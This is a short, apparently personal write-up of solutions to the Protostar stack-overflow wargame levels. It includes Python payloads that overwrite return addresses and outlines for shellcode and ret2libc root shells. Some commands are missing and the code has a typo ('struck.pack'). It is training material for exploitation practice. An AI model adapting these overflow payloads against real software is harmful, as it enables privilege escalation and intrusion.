Protostar
Stack 0
Simple buffer overflow, use python -c print "A" * 40
Stack 3
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP"
#print (padding)
#chr(0x51) #prints char that is 0x51 (Q)
padding += "\x24\x84\x04\x08" #0x08 04 84 24 -> Little endian address
print paddingStack 4
Change the eip that was pushed to the stack, so when ret happens we go to where we want.
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR"
ebp = "AAAA"
eip = struck.pack("I", 0x080483f4) # Convert number to binary string
print (padding+ebp+eip)Stack 5
Getting root privileges We use the esp to move the return of the function to writing as root
Using shell-storm.org /bin/sh code shellcode
When executing, use the command:
Then we have the shell.
Stack 6
We can get the offset related to the library using
So, we use info proc map and get the address of the libc.
Then, x/s 0xlibcaddr+0xoffset.
Using 0xb7fb64bf as example.
Last updated